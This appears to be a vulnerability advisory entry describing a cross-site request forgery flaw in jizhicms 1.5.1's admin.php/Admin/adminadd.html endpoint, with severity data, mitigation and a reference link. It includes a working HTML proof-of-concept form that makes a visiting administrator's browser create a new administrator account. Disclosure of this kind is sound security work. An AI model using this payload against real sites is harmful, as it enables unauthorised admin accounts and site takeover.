Vulnerability identifier: #VU21794
Vulnerability risk: Low
CVSSv3.1: 5.5 [CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RL:O/RC:C]
CVE-ID:
CWE-ID:
CWE-352
Exploitation vector: Network
Exploit availability: No
Vulnerable software:
jizhicms
Web applications /
CMS
Vendor: Cheshire cat
Description
The vulnerability allows a remote attacker to perform cross-site request forgery attacks.
The vulnerability exists due to insufficient validation of the HTTP request origin in " admin.php/Admin/adminadd.html". A remote attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website, such as add an administrator.
PoC:
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://ip/admin.php/Admin/adminadd.html" method="POST">
<input type="hidden" name="name" value="test123" />
<input type="hidden" name="tel" value="" />
<input type="hidden" name="email" value="" />
<input type="hidden" name="gid" value="1" />
<input type="hidden" name="pass" value="123456" />
<input type="hidden" name="repass" value="123456" />
<input type="hidden" name="status" value="1" />
<input type="hidden" name="go" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Mitigation
Install update from vendor's website.
Vulnerable software versions
jizhicms: 1.5.1
External links
http://github.com/Cherry-toto/jizhicms/issues/1
Can this vulnerability be exploited remotely?
Yes. This vulnerability can be exploited by a remote non-authenticated attacker via the Internet.
Is there known malware, which exploits this vulnerability?
No. We are not aware of malware exploiting this vulnerability. However, proof of concept for this vulnerability is available.